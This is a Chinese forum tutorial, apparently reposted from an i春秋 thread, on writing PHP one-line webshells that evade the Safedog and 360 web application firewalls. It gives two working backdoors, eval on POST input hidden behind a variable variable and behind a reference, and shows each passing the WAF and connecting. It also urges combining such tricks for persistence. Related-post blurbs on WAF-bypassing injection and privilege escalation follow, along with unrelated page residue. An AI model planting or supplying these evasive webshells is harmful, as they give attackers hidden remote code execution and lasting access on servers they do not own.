00x01安全狗的确是让人很头痛,尤其是在上传一句话或者写入一句话的时候,会被安全狗拦截从而拿不下shell。
当然,安全狗是最简单的一款waf,很容易就进行一个绕过。
00x02
对于绕过安全狗跟360,我姿势不多,但是却很实用为以下两种

1.#可变变量
2.#引用变量

00x03
##可变变量(菜刀可能报错)
<@eval($_POST['x'])
复制代码

经常使用的人都知道,只是最简单的一句话,不过任何waf与规则
我们先来加入需要的函数
<?php
$a='b';
$b=$_POST['x'];
@eval($a);
复制代码

我们先来测试下是否被杀

可以看见,是成功过了安全狗,我们来测试下连接

并且成功可以连接
代码分析#
<?php
$a='b';
$b=$_POST['x'];
@eval($a);
?>
复制代码

我们来看第二行代码
$a='b';
复制代码

知道可变变量的人应该都能看懂吧,第三行$$a中的$a是b,也可以这么说$a替换成b。
继续看第三行
$b=$_POST['x'];
复制代码

根据第一行知道$$a就是$b,$b用来接收post 提交的数据

最后第四行
@eval($a);
复制代码
执行$$a相当于执行了$a也就是$b. 最后,我们整合成一句话
<?php $a='b'; $b=$_POST['x']; @eval($a);?>
复制代码

总结
1#  可变变量比较灵活对于过狗也比较简单
2#  不过D盾只适合安全狗与360针对性比较高

00x04
##引用变量
<@eval($_POST['x'])
复制代码
还是原始一句话,我先写出写好的代码
<?php
$a=$_POST['x'];
$b=&$a;
@eval($b);
?>
复制代码

我们继续测试下是否被杀,

可以看见,一样过了安全狗,我们继续测试下是否可以连接

可以看见,已经连接上了,并且可以进行操作。
##代码分析
<?php
$a=$_POST['x'];
$b=&$a;
@eval($b);
?>
复制代码

我们来看第二行代码
$a=$_POST['x'];
复制代码

$a用来接收post提交的数据  
继续看第三行代码

$b=&$a;
复制代码

$b引用了$a的内存地址间接的相当于$b接收了post提交的数据
最后第四行代码:
@eval($b);
复制代码

执行$b。最后我们来整合成一句话
<?php $a=$_POST['x']; $b=&$a; @eval($b);?>
复制代码

总结(与可变变量一样)
1#  可变变量比较灵活对于过狗也比较简单
2#  不过D盾只适合安全狗与360针对性比较高

00x05
                                                                         大总结
1#  了解其原理,一味的抄写在安全狗更新时无法能够独立编写
2#  活学活用,多种方式结合可写出各种变态一句话,从而达到持久等效果
3#  多多与人交流,交流乃学习不可缺少的根本,共享思路结合思路,便可以称为一个大牛。4#  安全狗只是一个很简单的waf,不能止步于此,低调发展寻求高傲的技术

00x06
1#当然,我只列出的是一部分,还有许多的方式,例如函数替换,关键字拆分,双变量等方式。
2#第一次写文章,可能写的不是很好,有建议者可以评论点出,万分感谢。
3#日后我会分享过waf注入的思路,请大家多多支持!

本文来源:http://bbs.ichunqiu.com/thread-9012-1-1.html?from=bky

[WEB]绕过安全狗与360PHP一句话的编写的更多相关文章

  1. 如何自己写aspx过狗D盾一句话木马

    hi,我是凉风,(以下内容纯属个人见解,如有不同的意见欢迎回复指出) ,本菜比发现aspx过狗的姿势不常见,不像php一样一抓一大把,于是我决定研究一下aspx 本文作者:i春秋签约作家——凉风 引用 ...

  2. 绕过安全狗等一些WAF收集

    绕过安全狗sql注入 http://demo.74cms.com/plus/ajax_common.php?act=hotwordquery=錦union+select+1,group_concat% ...

  3. 从getwebshell到绕过安全狗云锁提权再到利用matasploit进服务器

    本文作者:i春秋签约作家——酷帥王子 一. 利用getwebshell篇 首先对目标站进行扫描,发现是asp的,直接扫出网站后台和默认数据库,下载解密登陆如图: 下面进后台发现有fckeditor,而 ...

  4. 中转Webshell 绕过安全狗(二)

    前言 在实践中转webshell绕过安全狗(一)中,在服务端和客户端均为php.某大佬提示并分享资源后,打算使用python完成中转.部分代码无耻copy. 客户端 本地127.0.0.1,安装pyt ...

  5. 中转Webshell 绕过安全狗(一)

    前言 听说中国菜刀里有后门.抓包我是没有监测到异常数据包.为了以防万一,且更好使用中国菜刀硬杠安全狗.笔者收集了一下资料.无耻的copy大佬的源码,只是在大佬的基础上简单修改了一下,达到Webshel ...

  6. SQL注入原理及绕过安全狗

    1.什么是SQL注入攻击 SQL注入攻击指的是通过构造特殊的输入作为参数插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令 http://www.xxx.com/list. ...

  7. .Net中Web增加加密狗管理

    由于业务中最近需要使用到加密狗,增加对Web代码的管控,所以需要进行加密狗使用的研究 首先,对于没有接触使用过加密狗的人需要有个大致的认识,加密狗分为 MasterDog, 1.下载加密狗的开发套件, ...

  8. Mysql注入绕过安全狗

    转载请加原文链接:https://www.cnblogs.com/Yang34/p/12055052.html 微信公众号:信Yang安全.同步更新,欢迎关注.文末有二维码. 正好最近在搞注入,昨天现 ...

  9. [11期]绕过安全狗、云锁等各大WAF注入,上传深入自动化Bypass攻击

    CDN       负载均衡.内容分发 解析漏洞一般在服务层      二进制,溢出,提权在系统层         渗透测试就是以上全部层 协议未正确解析 GET改POST   这叫参数污染 cook ...

随机推荐

  1. EndNote中文文献导入出错和数量限制解决

    发现之前记录的存在忽略,把存在的一个重要问题遗漏了,Endnote中文文献导入无法导入,软件奔溃问题,现在在原先基础上补上(补到最后): ..一路绿色φ(>ω<*) φ(>ω< ...

  2. 【玩转开源】Linux C 检测网口热插拔

    int NetDetect(char *net_name, int *statue) { int ret = 0; ; struct ifreq ifr; skfd = socket(AF_INET, ...

  3. K3 WISE 开发插件《K3 WISE常用数据表整理》

    在后台数据库ICClassType表中,字段FID<0的是老单,FID>0的是新单. ----------------系统设置------------------------ FStatu ...

  4. ASP.NET Core微服务 on K8S学习笔记(第一章:详解基本对象及服务发现)

    课程链接:http://video.jessetalk.cn/course/explore 良心课程,大家一起来学习哈! 任务1:课程介绍 任务2:Labels and Selectors 所有资源对 ...

  5. 编写一份好的 Vimrc

    编写一份好的 Vimrc 目录 如何 Vimrc 色彩 空白字符与制表符 UI 配置 搜索 折叠 移动 用户自定义的前缀快捷按键 插件CtrlP 启动配置 终端Tmux 自动命令及其分组 备份 自定义 ...

  6. unity Tab键实现切换输入框功能

    using System.Collections; using System.Collections.Generic; using UnityEngine; using UnityEngine.UI; ...

  7. [OC] 线程 dispatch_group_t

    - (void)groupEvent{ //创建线程 dispatch_group_t group =dispatch_group_create(); dispatch_queue_t globalQ ...

  8. Java下载文件的几种方式

    转发自博客园Sunny的文章 1.以流的方式下载 public HttpServletResponse download(String path, HttpServletResponse respon ...

  9. [POJ2259]Team Queue (队列,模拟)

    2559是栈,2259是队列,真的是巧啊 题意 模拟队列 思路 水题 代码 因为太水,不想打,发博客只是为了与2559照应,于是附上lyd的std #include <queue> #in ...

  10. python多线程和多进程使用

    # 多线程 from concurrent.futures import ThreadPoolExecutor # 多进程 from concurrent.futures import Process ...